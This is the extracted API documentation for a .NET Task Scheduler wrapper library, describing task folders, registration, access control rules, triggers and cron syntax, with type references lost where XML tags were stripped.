Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + 